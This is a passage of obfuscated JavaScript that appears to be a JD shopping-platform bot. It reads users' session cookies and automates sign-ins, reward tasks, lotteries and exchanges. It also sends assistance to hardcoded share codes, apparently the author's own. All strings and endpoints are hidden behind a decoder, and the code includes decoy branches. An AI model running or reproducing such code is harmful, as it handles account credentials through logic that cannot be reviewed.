_0x1177c4=_0xb3c9['IHspGf'][_0x43ae7a];if(_0x1177c4===undefined){if(_0xb3c9['ZKPQom']===undefined){_0xb3c9['ZKPQom']=!![];}_0x2c0d8e=_0xb3c9['FaVjti'](_0x2c0d8e,_0x4c0dd7);_0xb3c9['IHspGf'][_0x43ae7a]=_0x2c0d8e;}else{_0x2c0d8e=_0x1177c4;}return _0x2c0d8e;};let shareCodes=[_0xb3c9('0','eg1*'),_0xb3c9('1','UFS%'),_0xb3c9('2','7hNk'),_0xb3c9('3','#5oK'),_0xb3c9('4','oJ7R'),_0xb3c9('5','D[D@'),_0xb3c9('6','[XP5'),_0xb3c9('7','eAka')];let exchangeFlag=$[_0xb3c9('8','#5oK')](_0xb3c9('9','px$D'))||!!0x1;if($[_0xb3c9('a','7hNk')]()){Object[_0xb3c9('b','8^$1')](jdCookieNode)[_0xb3c9('c','A)dp')](_0x25923b=>{cookiesArr[_0xb3c9('d','sgNu')](jdCookieNode[_0x25923b]);});if(process[_0xb3c9('e','8^$1')][_0xb3c9('f','A)dp')]&&process[_0xb3c9('10','msFj')][_0xb3c9('11','RRYS')]===_0xb3c9('12','D[D@'))console[_0xb3c9('13','7hNk')]=()=>{};}else{cookiesArr=[$[_0xb3c9('14','SI8%')](_0xb3c9('15','xgMb')),$[_0xb3c9('16','QPLX')](_0xb3c9('17','Hi&L')),...jsonParse($[_0xb3c9('18','O^Ux')](_0xb3c9('19','Hi&L'))||'[]')[_0xb3c9('1a','Us6T')](_0x510010=>_0x510010[_0xb3c9('1b','lVDY')])][_0xb3c9('1c','RRYS')](_0x5aa59a=>!!_0x5aa59a);}const JD_API_HOST=_0xb3c9('1d','pLk9');!(async()=>{var _0x28ece5={'WlNlt':function(_0x1a4e63,_0x5df613){return _0x1a4e63(_0x5df613);},'zszrO':function(_0x34c9f2,_0x267844){return _0x34c9f2===_0x267844;},'QTkxP':_0xb3c9('1e','USUq'),'SSDwk':_0xb3c9('1f','0XYQ'),'KOeRc':_0xb3c9('20','eg1*'),'CbXgT':_0xb3c9('21','UWcU'),'USSLJ':function(_0x406455){return _0x406455();},'oODMx':function(_0x3062a9,_0x694432){return _0x3062a9===_0x694432;},'Euxbz':_0xb3c9('22','8^$1'),'nPPcr':_0xb3c9('23','SI8%'),'LquxU':function(_0xffac02,_0x57c62e){return _0xffac02<_0x57c62e;},'fBkHT':function(_0x27c1d1,_0x3d81bb){return _0x27c1d1!==_0x3d81bb;},'HUmdv':_0xb3c9('24','RRYS'),'eyKQM':function(_0x51a8c1,_0x500e01){return _0x51a8c1===_0x500e01;},'cZwYY':_0xb3c9('25','O^Ux'),'KBwKB':_0xb3c9('26','vGPn'),'MhvwO':function(_0x232632,_0x3f98ef){return _0x232632(_0x3f98ef);},'Zudgs':function(_0x4a2338,_0x9e9ddf){return _0x4a2338+_0x9e9ddf;},'eQcdc':function(_0x56ced9){return _0x56ced9();},'Ybmgr':function(_0x50b2e5){return _0x50b2e5();},'OSNnt':function(_0x18cecd,_0x350357){return _0x18cecd===_0x350357;},'txghA':_0xb3c9('27','pLk9'),'hEQqr':_0xb3c9('28','vGPn'),'zYRiV':_0xb3c9('29','QPLX'),'XcUDL':function(_0x54c212,_0x36e3f9){return _0x54c212(_0x36e3f9);},'BaITh':function(_0x33e3cd,_0x23e69f){return _0x33e3cd!==_0x23e69f;},'KcFSv':function(_0x4dc6c6,_0x261dca,_0x4d0395){return _0x4dc6c6(_0x261dca,_0x4d0395);}};if(!cookiesArr[0x0]){$[_0xb3c9('2a','XZos')]($[_0xb3c9('2b','Hi&L')],_0x28ece5[_0xb3c9('2c','O^Ux')],_0x28ece5[_0xb3c9('2d','[XP5')],{'open-url':_0x28ece5[_0xb3c9('2e','FlxD')]});return;}$[_0xb3c9('2f','Hi&L')]=[];await _0x28ece5[_0xb3c9('30','p8(G')](requireConfig);if(exchangeFlag){if(_0x28ece5[_0xb3c9('31','IV4a')](_0x28ece5[_0xb3c9('32','#5oK')],_0x28ece5[_0xb3c9('33','*IUv')])){return JSON[_0xb3c9('34','RRYS')](str);}else{console[_0xb3c9('35','px$D')](_0xb3c9('36','D[D@'));}}else{console[_0xb3c9('37','eg1*')](_0xb3c9('38','8Yzp'));}for(let _0x43bcce=0x0;_0x28ece5[_0xb3c9('39','Xorc')](_0x43bcce,cookiesArr[_0xb3c9('3a','pLk9')]);_0x43bcce++){if(_0x28ece5[_0xb3c9('3b','A&sp')](_0x28ece5[_0xb3c9('3c','px$D')],_0x28ece5[_0xb3c9('3d','sgNu')])){console[_0xb3c9('3e','pLk9')](_0xb3c9('3f','Tq0]'));}else{if(cookiesArr[_0x43bcce]){if(_0x28ece5[_0xb3c9('40','54E@')](_0x28ece5[_0xb3c9('41','8Yzp')],_0x28ece5[_0xb3c9('42','8^$1')])){$[_0xb3c9('43','12Q8')]=$[_0xb3c9('44','Tq0]')];}else{cookie=cookiesArr[_0x43bcce];$[_0xb3c9('45','54E@')]=_0x28ece5[_0xb3c9('46','4&jl')](decodeURIComponent,cookie[_0xb3c9('47','sgNu')](/pt_pin=([^; ]+)(?=;?)/)&&cookie[_0xb3c9('48','oJ7R')](/pt_pin=([^; ]+)(?=;?)/)[0x1]);$[_0xb3c9('49','px$D')]=_0x28ece5[_0xb3c9('4a','eg1*')](_0x43bcce,0x1);$[_0xb3c9('4b','x1NV')]=!![];$[_0xb3c9('4c','8Yzp')]='';message='';await _0x28ece5[_0xb3c9('4d','#5oK')](TotalBean);console[_0xb3c9('4e','Hi&L')](_0xb3c9('4f','sgNu')+$[_0xb3c9('50','Xorc')]+'】'+($[_0xb3c9('51','UWcU')]||$[_0xb3c9('52','*IUv')])+_0xb3c9('53','8^$1'));if(!$[_0xb3c9('54','54E@')]){$[_0xb3c9('55','56Y[')]($[_0xb3c9('56','*IUv')],_0xb3c9('57','x1NV'),_0xb3c9('58','pLk9')+$[_0xb3c9('59','4&jl')]+'\x20'+($[_0xb3c9('5a','A)dp')]||$[_0xb3c9('5b','D[D@')])+_0xb3c9('5c','A)dp'),{'open-url':_0x28ece5[_0xb3c9('5d','W%VK')]});if($[_0xb3c9('5e','A&sp')]()){await notify[_0xb3c9('5f',']q[h')]($[_0xb3c9('60','XZos')]+_0xb3c9('61','*IUv')+$[_0xb3c9('62','px$D')],_0xb3c9('63','ST6I')+$[_0xb3c9('64','*IUv')]+'\x20'+$[_0xb3c9('65',']q[h')]+_0xb3c9('66',']q[h'));}continue;}await _0x28ece5[_0xb3c9('67','sgNu')](jxd);await _0x28ece5[_0xb3c9('68','bu#e')](showMsg);await $[_0xb3c9('69','lVDY')](0x3e8);}}}}if(allMessage){if($[_0xb3c9('6a','eAka')]())await notify[_0xb3c9('6b','56Y[')]($[_0xb3c9('6c','xgMb')],allMessage);$[_0xb3c9('6d','7hNk')]($[_0xb3c9('6e','sgNu')],'',allMessage);}let _0x58a6f3=[];cookiesArr[_0xb3c9('6f','8^$1')](_0x2e382d=>{if(_0x28ece5[_0xb3c9('70','56Y[')](_0x28ece5[_0xb3c9('71','msFj')],_0x28ece5[_0xb3c9('72','BA!&')])){if(_0x28ece5[_0xb3c9('73','j]ox')](safeGet,data)){data=JSON[_0xb3c9('74','54E@')](data);if(_0x28ece5[_0xb3c9('75','54E@')](data[_0xb3c9('76','p8(G')],0xc8)){console[_0xb3c9('77','8^$1')](_0xb3c9('78','eg1*')+data[_0xb3c9('79','8Yzp')][_0xb3c9('7a','eAka')][_0xb3c9('7b','bu#e')](/,/g,''));}}}else{_0x58a6f3[_0xb3c9('7c','%YG$')](_0x2e382d[_0xb3c9('7d','O^Ux')](/pt_pin=([^; ]+)(?=;?)/)&&_0x2e382d[_0xb3c9('7d','O^Ux')](/pt_pin=([^; ]+)(?=;?)/)[0x1]);}});_0x58a6f3=[...new Set([..._0x58a6f3,...shareCodes])];for(let _0x43bcce=0x0;_0x28ece5[_0xb3c9('7e','wR@t')](_0x43bcce,cookiesArr[_0xb3c9('7f','kKc[')]);_0x43bcce++){if(_0x28ece5[_0xb3c9('80','oJ7R')](_0x28ece5[_0xb3c9('81','4&jl')],_0x28ece5[_0xb3c9('82','oJ7R')])){data=JSON[_0xb3c9('83','eg1*')](data);console[_0xb3c9('84','x1NV')](data[_0xb3c9('85','8^$1')]);}else{if(cookiesArr[_0x43bcce]){if(_0x28ece5[_0xb3c9('86','0XYQ')](_0x28ece5[_0xb3c9('87','USUq')],_0x28ece5[_0xb3c9('88','O^Ux')])){console[_0xb3c9('4e','Hi&L')](''+JSON[_0xb3c9('89','eg1*')](err));console[_0xb3c9('8a','eAka')]($[_0xb3c9('8b','oJ7R')]+_0xb3c9('8c','Hi&L'));}else{cookie=cookiesArr[_0x43bcce];$[_0xb3c9('8d','56Y[')]=_0x28ece5[_0xb3c9('8e','USUq')](decodeURIComponent,cookie[_0xb3c9('8f','A&sp')](/pt_pin=([^; ]+)(?=;?)/)&&cookie[_0xb3c9('90','SI8%')](/pt_pin=([^; ]+)(?=;?)/)[0x1]);$[_0xb3c9('91','QPLX')]=_0x28ece5[_0xb3c9('92','msFj')](_0x43bcce,0x1);console[_0xb3c9('93','54E@')](_0xb3c9('94','Xorc')+$[_0xb3c9('95',']q[h')]+_0xb3c9('96','oJ7R'));for(let _0x411017 of $[_0xb3c9('97','sgNu')]){console[_0xb3c9('35','px$D')](_0xb3c9('98','4&jl')+_0x411017+'】');for(let _0x347568 of _0x58a6f3){if(!cookie[_0xb3c9('99','7hNk')](/pt_key=([^; ]+)(?=;?)/))console[_0xb3c9('9a','sgNu')](_0xb3c9('9b','#5oK'));let _0x367775=cookie[_0xb3c9('47','sgNu')](/pt_pin=([^; ]+)(?=;?)/)[0x1];if(_0x28ece5[_0xb3c9('9c','RRYS')](_0x347568,_0x367775)){await _0x28ece5[_0xb3c9('9d','px$D')](helpFriend,_0x411017,_0x347568);await $[_0xb3c9('9e','BA!&')](0x3e8);}}await $[_0xb3c9('9f','12Q8')](0x1388);}}}}}})()[_0xb3c9('a0','xgMb')](_0x13db33=>{$[_0xb3c9('a1','Us6T')]('','❌\x20'+$[_0xb3c9('a2','O^Ux')]+_0xb3c9('a3','A&sp')+_0x13db33+'!','');})[_0xb3c9('a4','j]ox')](()=>{$[_0xb3c9('a5','vGPn')]();});async function jxd(){var _0x574fba={'WDulQ':_0xb3c9('a6','%YG$'),'Bzzks':function(_0x3733c7){return _0x3733c7();},'gWfqB':function(_0x4d063b){return _0x4d063b();},'FgylH':function(_0x57acdd){return _0x57acdd();},'SyoYu':function(_0x3360db,_0x1a6e1a){return _0x3360db===_0x1a6e1a;}};var _0x970f44=_0x574fba[_0xb3c9('a7','A&sp')][_0xb3c9('a8','vGPn')]('|'),_0x39b1cb=0x0;while(!![]){switch(_0x970f44[_0x39b1cb++]){case'0':await _0x574fba[_0xb3c9('a9','XZos')](getUserInfo);continue;case'1':await _0x574fba[_0xb3c9('aa','USUq')](getMyLotteryInformation);continue;case'2':await $[_0xb3c9('ab','8^$1')](0x3e8);continue;case'3':await $[_0xb3c9('ac','[XP5')](0x3e8);continue;case'4':$['db']=0x0;continue;case'5':await _0x574fba[_0xb3c9('ad','A&sp')](sign);continue;case'6':await _0x574fba[_0xb3c9('ae','Tq0]')](getMyWinningInformation);continue;case'7':await _0x574fba[_0xb3c9('af','wR@t')](getMainTask);continue;case'8':await _0x574fba[_0xb3c9('b0','XZos')](getWelfareInfo);continue;case'9':await $[_0xb3c9('b1','bu#e')](0x3e8);continue;case'10':if(_0x574fba[_0xb3c9('b2','ST6I')]($[_0xb3c9('59','4&jl')],0x1)){$[_0xb3c9('b3','A)dp')]=[];}continue;}break;}}function showMsg(){var _0x113654={'BFoLe':function(_0x22bedd,_0x392698){return _0x22bedd(_0x392698);},'ccGwI':function(_0x364307,_0x4170c0){return _0x364307!==_0x4170c0;},'pdvIu':_0xb3c9('b4','FlxD'),'aUlno':function(_0x3ab7f9){return _0x3ab7f9();}};return new Promise(_0x184f8e=>{var _0x33c617={'YWAUz':function(_0x5bd68a,_0x2ccbb9){return _0x113654[_0xb3c9('b5','wR@t')](_0x5bd68a,_0x2ccbb9);}};if(_0x113654[_0xb3c9('b6','x1NV')](_0x113654[_0xb3c9('b7','kKc[')],_0x113654[_0xb3c9('b8','UFS%')])){if(err){console[_0xb3c9('b9','SI8%')](''+JSON[_0xb3c9('ba','KqoH')](err));console[_0xb3c9('bb','UFS%')]($[_0xb3c9('bc','BA!&')]+_0xb3c9('bd','%YG$'));}else{if(_0x33c617[_0xb3c9('be','KqoH')](safeGet,data)){data=JSON[_0xb3c9('bf','msFj')](data);console[_0xb3c9('c0','QPLX')](data[_0xb3c9('c1','#5oK')]);}}}else{message+=_0xb3c9('c2','A&sp')+$['db']+_0xb3c9('c3','W%VK');if(!jdNotify){$[_0xb3c9('c4','%YG$')]($[_0xb3c9('56','*IUv')],'',''+message);}else{$[_0xb3c9('c5','O^Ux')](_0xb3c9('c6','0XYQ')+$[_0xb3c9('91','QPLX')]+$[_0xb3c9('c7','sgNu')]+'\x0a'+message);}_0x113654[_0xb3c9('c8','4&jl')](_0x184f8e);}});}function getMainTask(){var _0x38d83f={'nrRoW':_0xb3c9('c9',']q[h'),'aHWoM':_0xb3c9('ca','vGPn'),'FWBnC':function(_0x58f300,_0x49b7f1){return _0x58f300==_0x49b7f1;},'Hkkjw':_0xb3c9('cb','UWcU'),'XjLBx':function(_0x599e32,_0x8a7be7){return _0x599e32===_0x8a7be7;},'dVODJ':_0xb3c9('cc','oJ7R'),'cJHjE':_0xb3c9('cd','56Y['),'XhcmS':_0xb3c9('ce','FlxD'),'AJXNK':function(_0xadeb64,_0x37cd45){return _0xadeb64(_0x37cd45);},'GlCgC':function(_0x257bce,_0xf73cf1){return _0x257bce===_0xf73cf1;},'RdzxR':function(_0x3a6de4){return _0x3a6de4();},'MBSag':function(_0x3d870b,_0x412957){return _0x3d870b===_0x412957;},'SiAld':_0xb3c9('cf','QPLX'),'VcdFI':function(_0x37b050,_0x3ee000){return _0x37b050!==_0x3ee000;},'rskzT':_0xb3c9('d0',']q[h'),'YogxP':function(_0x18df3d,_0x2f754d){return _0x18df3d(_0x2f754d);},'PpcJn':_0xb3c9('d1','#5oK'),'ZskAO':_0xb3c9('d2','7hNk'),'holNu':function(_0x43b059,_0x2c82e6){return _0x43b059>_0x2c82e6;},'xUpIu':function(_0x4a1a99,_0x347a6d){return _0x4a1a99===_0x347a6d;},'AbKpO':_0xb3c9('d3','px$D'),'kVoaN':function(_0x407c13,_0xfadda8){return _0x407c13<=_0xfadda8;},'bKukW':function(_0x57af13,_0x2345cb){return _0x57af13<=_0x2345cb;},'BbzyX':function(_0x273b7b,_0x23bbac){return _0x273b7b===_0x23bbac;},'jzQcT':_0xb3c9('d4','XZos'),'ScrzW':_0xb3c9('d5','QPLX'),'CkTvG':function(_0x294070){return _0x294070();},'cTdUN':function(_0x46b192,_0x1be444){return _0x46b192===_0x1be444;},'MVPpk':_0xb3c9('d6','#5oK'),'wRNvj':function(_0x427ac4){return _0x427ac4();},'SMsGu':function(_0x10c3c2){return _0x10c3c2();},'EEUoZ':function(_0x3c94c3,_0xd55657){return _0x3c94c3===_0xd55657;},'PCdAL':_0xb3c9('d7','#5oK'),'HpdOQ':_0xb3c9('d8','A)dp'),'rSYGU':function(_0x557ee5,_0x42cf4a){return _0x557ee5(_0x42cf4a);},'RIrIG':function(_0x2f30ed,_0x393ef0){return _0x2f30ed===_0x393ef0;},'WuiET':_0xb3c9('d9','sgNu'),'XvfOl':function(_0x5ce73a,_0x38f725){return _0x5ce73a(_0x38f725);},'KAJgd':function(_0x297371,_0x2a53e0){return _0x297371===_0x2a53e0;},'ALCog':function(_0x1cf0b9,_0x3fbf35){return _0x1cf0b9<_0x3fbf35;},'VtJig':function(_0x3e361e,_0xa829c1){return _0x3e361e+_0xa829c1;},'ClzLX':function(_0x16cbd4,_0x422d28){return _0x16cbd4*_0x422d28;},'bjbtO':function(_0x499684,_0x346cc1){return _0x499684(_0x346cc1);},'bXJrr':function(_0x4d3084,_0x1df13f){return _0x4d3084(_0x1df13f);},'TBhpf':_0xb3c9('da','56Y['),'SmHOF':_0xb3c9('db','oJ7R'),'tlyCL':_0xb3c9('dc','BA!&'),'WxmOR':_0xb3c9('dd','Hi&L'),'cRaMs':function(_0x37229a,_0x4cdf0f){return _0x37229a(_0x4cdf0f);},'YDbmq':_0xb3c9('de','*IUv')};return new Promise(_0x550a64=>{var _0x34b09b={'XwSBS':function(_0x50b14e,_0x241ac2){return _0x38d83f[_0xb3c9('df','[XP5')](_0x50b14e,_0x241ac2);},'ZEWLx':function(_0x1a0462){return _0x38d83f[_0xb3c9('e0','xgMb')](_0x1a0462);},'VLpYC':_0x38d83f[_0xb3c9('e1','wR@t')],'dPeCj':_0x38d83f[_0xb3c9('e2','*IUv')],'SWrgS':_0x38d83f[_0xb3c9('e3','lVDY')],'yBQIC':function(_0x557ca7,_0x146986){return _0x38d83f[_0xb3c9('e4','px$D')](_0x557ca7,_0x146986);}};if(_0x38d83f[_0xb3c9('e5','bu#e')](_0x38d83f[_0xb3c9('e6','W%VK')],_0x38d83f[_0xb3c9('e7','xgMb')])){$[_0xb3c9('e8','O^Ux')](_0x38d83f[_0xb3c9('e9','sgNu')](taskUrl,_0x38d83f[_0xb3c9('ea','FlxD')]),async(_0x26ae56,_0x1d05d7,_0x1bd41a)=>{var _0x51545d={'wrwca':_0x38d83f[_0xb3c9('eb','Hi&L')],'OFICH':_0x38d83f[_0xb3c9('ec','vGPn')],'ifPfJ':function(_0x43bf62,_0x16feb2){return _0x38d83f[_0xb3c9('ed','wR@t')](_0x43bf62,_0x16feb2);},'TDYEX':_0x38d83f[_0xb3c9('ee','7hNk')]};try{if(_0x38d83f[_0xb3c9('ef','%YG$')](_0x38d83f[_0xb3c9('f0','wR@t')],_0x38d83f[_0xb3c9('f1','Tq0]')])){if(_0x26ae56){if(_0x38d83f[_0xb3c9('f2','4&jl')](_0x38d83f[_0xb3c9('f3','xgMb')],_0x38d83f[_0xb3c9('f4','BA!&')])){console[_0xb3c9('f5','KqoH')](''+JSON[_0xb3c9('f6','lVDY')](_0x26ae56));console[_0xb3c9('f7','BA!&')]($[_0xb3c9('f8','eg1*')]+_0xb3c9('f9','7hNk'));}else{console[_0xb3c9('fa','0XYQ')](''+JSON[_0xb3c9('fb','ST6I')](_0x26ae56));console[_0xb3c9('fc','4&jl')]($[_0xb3c9('fd','wR@t')]+_0xb3c9('fe','W%VK'));}}else{if(_0x38d83f[_0xb3c9('ff','0XYQ')](safeGet,_0x1bd41a)){_0x1bd41a=JSON[_0xb3c9('100','Us6T')](_0x1bd41a);if(_0x38d83f[_0xb3c9('101','FlxD')](_0x1bd41a[_0xb3c9('102','8Yzp')],0xc8)&&_0x1bd41a[_0xb3c9('103','RRYS')]){const {signIn,taskList}=_0x1bd41a[_0xb3c9('104','USUq')];if(!signIn)await _0x38d83f[_0xb3c9('105','Us6T')](sign);for(let _0x3ff5ad of taskList){if(_0x38d83f[_0xb3c9('106','ST6I')](_0x3ff5ad[_0x38d83f[_0xb3c9('107','Hi&L')]],0x1)){if(_0x38d83f[_0xb3c9('108','A&sp')](_0x3ff5ad[_0x38d83f[_0xb3c9('109','XZos')]],0x8)){console[_0xb3c9('f7','BA!&')](_0xb3c9('10a','UWcU'));await _0x38d83f[_0xb3c9('10b','XZos')](awardTask,_0x3ff5ad[_0x38d83f[_0xb3c9('10c','j]ox')]]);}else{if(_0x38d83f[_0xb3c9('10d','O^Ux')](_0x38d83f[_0xb3c9('10e','bu#e')],_0x38d83f[_0xb3c9('10f','USUq')])){let _0x1891d8=new Date()[_0xb3c9('110','8Yzp')]();let _0x10da03=_0x3ff5ad[_0xb3c9('111','kKc[')][_0xb3c9('112','oJ7R')]('~')[_0xb3c9('113','kKc[')](_0x3ff5ad=>Number(_0x3ff5ad));if(_0x10da03&&_0x38d83f[_0xb3c9('114','ST6I')](_0x10da03[_0xb3c9('115','XZos')],0x1)){if(_0x38d83f[_0xb3c9('116','xgMb')](_0x38d83f[_0xb3c9('117','54E@')],_0x38d83f[_0xb3c9('118','p8(G')])){if(_0x38d83f[_0xb3c9('119','Hi&L')](_0x10da03[0x0],_0x1891d8)&&_0x38d83f[_0xb3c9('11a','wR@t')](_0x1891d8,_0x10da03[0x1])){if(_0x38d83f[_0xb3c9('11b','bu#e')](_0x38d83f[_0xb3c9('11c','oJ7R')],_0x38d83f[_0xb3c9('11d',']q[h')])){console[_0xb3c9('11e','p8(G')](_0xb3c9('11f','USUq')+_0x3ff5ad[_0xb3c9('120','x1NV')]+_0xb3c9('121','kKc['));await _0x38d83f[_0xb3c9('122','kKc[')](awardTask,_0x3ff5ad[_0x38d83f[_0xb3c9('123','RRYS')]]);}else{_0x34b09b[_0xb3c9('124','54E@')](_0x550a64,_0x1bd41a);}}else{if(_0x38d83f[_0xb3c9('125','KqoH')](_0x38d83f[_0xb3c9('126','px$D')],_0x38d83f[_0xb3c9('127','A)dp')])){$[_0xb3c9('128','O^Ux')]($[_0xb3c9('129','UFS%')],_0x51545d[_0xb3c9('12a','UFS%')],_0x51545d[_0xb3c9('12b','eAka')],{'open-url':_0x51545d[_0xb3c9('12c','56Y[')]});return;}else{console[_0xb3c9('12d','56Y[')](_0xb3c9('12e','KqoH')+_0x1891d8+_0xb3c9('12f','8Yzp')+_0x3ff5ad[_0xb3c9('130','UWcU')]+_0xb3c9('131','D[D@'));}}}else{console[_0xb3c9('c0','QPLX')](''+JSON[_0xb3c9('132','[XP5')](_0x26ae56));console[_0xb3c9('133','#5oK')]($[_0xb3c9('134','UWcU')]+_0xb3c9('135','j]ox'));}}else{console[_0xb3c9('bb','UFS%')](_0xb3c9('136','j]ox'));}}else{console[_0xb3c9('137','wR@t')](''+JSON[_0xb3c9('138','USUq')](_0x26ae56));console[_0xb3c9('139','8Yzp')]($[_0xb3c9('2b','Hi&L')]+_0xb3c9('13a','*IUv'));}}await $[_0xb3c9('13b','eg1*')](0x7d0);}else if(_0x38d83f[_0xb3c9('13c','xgMb')](_0x3ff5ad[_0x38d83f[_0xb3c9('13d','O^Ux')]],0x3)&&_0x38d83f[_0xb3c9('13e','7hNk')](_0x3ff5ad[_0x38d83f[_0xb3c9('13f','%YG$')]],0x0)){await _0x38d83f[_0xb3c9('140','eAka')](awardRun);await $[_0xb3c9('9e','BA!&')](0x7d0);}else if(_0x38d83f[_0xb3c9('141','A)dp')](_0x3ff5ad[_0x38d83f[_0xb3c9('142','msFj')]],0x1f5)&&_0x38d83f[_0xb3c9('143','8^$1')](_0x3ff5ad[_0x38d83f[_0xb3c9('144','A)dp')]],0x0)){if(_0x38d83f[_0xb3c9('145','QPLX')](_0x38d83f[_0xb3c9('146','wR@t')],_0x38d83f[_0xb3c9('147','Us6T')])){await _0x38d83f[_0xb3c9('148','SI8%')](accomplishTask);await $[_0xb3c9('149','Tq0]')](0x3e8);await _0x38d83f[_0xb3c9('14a','[XP5')](awardTask);await $[_0xb3c9('14b','j]ox')](0x7d0);}else{$[_0xb3c9('14c','eg1*')](e,_0x1d05d7);}}else if(_0x38d83f[_0xb3c9('14d','UWcU')](_0x3ff5ad[_0xb3c9('14e','W%VK')],0x4)){console[_0xb3c9('f5','KqoH')](_0xb3c9('14f',']q[h')+_0x3ff5ad[_0xb3c9('150','pLk9')]);if(exchangeFlag&&_0x3ff5ad[_0xb3c9('151','bu#e')]){if(_0x38d83f[_0xb3c9('14d','UWcU')](_0x38d83f[_0xb3c9('152','UWcU')],_0x38d83f[_0xb3c9('153','D[D@')])){try{if(_0x51545d[_0xb3c9('154','lVDY')](typeof JSON[_0xb3c9('155','kKc[')](_0x1bd41a),_0x51545d[_0xb3c9('156','lVDY')])){return!![];}}catch(_0x584335){console[_0xb3c9('157','A&sp')](_0x584335);console[_0xb3c9('158','RRYS')](_0xb3c9('159','IV4a'));return![];}}else{console[_0xb3c9('15a','j]ox')](_0xb3c9('15b','7hNk'));await _0x38d83f[_0xb3c9('15c','BA!&')](exchange,_0x3ff5ad[_0xb3c9('151','bu#e')]);await $[_0xb3c9('15d','Us6T')](0x7d0);}}}else if([0x9][_0xb3c9('15e','px$D')](_0x3ff5ad[_0x38d83f[_0xb3c9('15f','O^Ux')]])&&_0x38d83f[_0xb3c9('160','*IUv')](_0x3ff5ad[_0x38d83f[_0xb3c9('107','Hi&L')]],0x0)){if(_0x38d83f[_0xb3c9('161','54E@')](_0x38d83f[_0xb3c9('162','QPLX')],_0x38d83f[_0xb3c9('163','x1NV')])){await _0x38d83f[_0xb3c9('164','XZos')](accomplishTask,_0x3ff5ad[_0x38d83f[_0xb3c9('165','[XP5')]]);await _0x38d83f[_0xb3c9('166','IV4a')](awardTask,_0x3ff5ad[_0x38d83f[_0xb3c9('167','eg1*')]]);await $[_0xb3c9('168','IV4a')](0x7d0);}else{message+=_0xb3c9('169','pLk9')+$['db']+_0xb3c9('16a','p8(G');if(!jdNotify){$[_0xb3c9('16b','*IUv')]($[_0xb3c9('16c','vGPn')],'',''+message);}else{$[_0xb3c9('16d','msFj')](_0xb3c9('16e','%YG$')+$[_0xb3c9('16f','FlxD')]+$[_0xb3c9('170','vGPn')]+'\x0a'+message);}_0x34b09b[_0xb3c9('171','*IUv')](_0x550a64);}}else if([0xa,0xb,0xc][_0xb3c9('172','p8(G')](_0x3ff5ad[_0x38d83f[_0xb3c9('173','BA!&')]])&&_0x38d83f[_0xb3c9('174','oJ7R')](_0x3ff5ad[_0x38d83f[_0xb3c9('175','4&jl')]],0x0)){for(let _0x169886=_0x3ff5ad[_0xb3c9('176','[XP5')];_0x38d83f[_0xb3c9('177','oJ7R')](_0x169886,_0x3ff5ad[_0xb3c9('178','eg1*')]);++_0x169886){console[_0xb3c9('a1','Us6T')](_0xb3c9('179','Hi&L')+_0x38d83f[_0xb3c9('17a','54E@')](_0x169886,0x1)+'/'+_0x3ff5ad[_0xb3c9('17b','UFS%')]+_0xb3c9('17c','D[D@'));await _0x38d83f[_0xb3c9('17d','eg1*')](accomplishTask,_0x3ff5ad[_0x38d83f[_0xb3c9('17e','BA!&')]]);await $[_0xb3c9('69','lVDY')](_0x38d83f[_0xb3c9('17f','A&sp')](0x5,0x3e8));}await _0x38d83f[_0xb3c9('180','oJ7R')](awardTask,_0x3ff5ad[_0x38d83f[_0xb3c9('181','#5oK')]]);await $[_0xb3c9('182','Hi&L')](0x7d0);}}}}}}else{$[_0xb3c9('183','Tq0]')]=_0x1bd41a[_0x34b09b[_0xb3c9('184','%YG$')]];for(let _0x323765 of $[_0xb3c9('185','j]ox')]){$[_0xb3c9('35','px$D')](_0x323765[_0x34b09b[_0xb3c9('186','Tq0]')]]+_0xb3c9('187','oJ7R')+_0x323765[_0x34b09b[_0xb3c9('188','0XYQ')]]+'】');}$[_0xb3c9('189','ST6I')]=$[_0xb3c9('18a','wR@t')][_0xb3c9('18b','pLk9')](_0x24c9fc=>!!_0x24c9fc&&(_0x24c9fc[_0xb3c9('18c','56Y[')][_0xb3c9('18d','x1NV')](0x0,0x6)===timeFormat()||_0x24c9fc[_0xb3c9('18e','RRYS')][_0xb3c9('18f','%YG$')](0x0,0x6)===timeFormat(Date[_0xb3c9('190','USUq')]()-0x18*0x3c*0x3c*0x3e8)));$[_0xb3c9('191','QPLX')]=$[_0xb3c9('192','Hi&L')][_0xb3c9('193','QPLX')](_0x53b209=>!!_0x53b209&&!_0x53b209[_0xb3c9('194','W%VK')][_0xb3c9('195','[XP5')]('京豆'));if($[_0xb3c9('196','A&sp')]&&$[_0xb3c9('197','xgMb')][_0xb3c9('198','[XP5')]){for(let _0x491c24 of $[_0xb3c9('199','%YG$')]){message+=_0x491c24[_0x34b09b[_0xb3c9('19a','pLk9')]]+_0xb3c9('19b','A)dp')+_0x491c24[_0x34b09b[_0xb3c9('19c','x1NV')]]+'】\x0a';}allMessage+=_0xb3c9('16e','%YG$')+$[_0xb3c9('19d','eAka')]+$[_0xb3c9('19e','msFj')]+'\x0a'+message+(_0x34b09b[_0xb3c9('19f','Xorc')]($[_0xb3c9('1a0','oJ7R')],cookiesArr[_0xb3c9('1a1','KqoH')])?'\x0a\x0a':'');}}}catch(_0x3b3941){$[_0xb3c9('1a2','msFj')](_0x3b3941,_0x1d05d7);}finally{_0x38d83f[_0xb3c9('1a3','#5oK')](_0x550a64,_0x1bd41a);}});}else{$[_0xb3c9('1a4','lVDY')](e,resp);}});}function getMyLotteryInformation(){var _0xf3e1f3={'AsPoC':function(_0x49252b,_0x31b037){return _0x49252b(_0x31b037);},'kSENu':_0xb3c9('1a5','Xorc'),'wJfiE':function(_0x5b9dd8,_0xac6a66){return _0x5b9dd8!==_0xac6a66;},'tCrNF':_0xb3c9('1a6','IV4a'),'FPSzy':function(_0x36557a,_0x2ae868){return _0x36557a!==_0x2ae868;},'oGTsy':_0xb3c9('1a7','8^$1'),'rFfnQ':_0xb3c9('1a8','BA!&'),'fIJLI':function(_0x21da6c,_0x400dd6){return _0x21da6c===_0x400dd6;},'IJyDJ':_0xb3c9('1a9','O^Ux'),'IPSYp':_0xb3c9('1aa','kKc['),'ApYFT':function(_0x2aba76,_0xf35dcb,_0xf899e5){return _0x2aba76(_0xf35dcb,_0xf899e5);},'FGdkT':_0xb3c9('1ab','lVDY'),'GWCZA':_0xb3c9('1ac','#5oK')};return new Promise(_0x48246a=>{var _0x1c6f4a={'qzlch':function(_0x581a2c,_0x11554a){return _0xf3e1f3[_0xb3c9('1ad','%YG$')](_0x581a2c,_0x11554a);},'ORQWt':_0xf3e1f3[_0xb3c9('1ae','54E@')],'NMbGY':function(_0x42cd5f,_0x472713){return 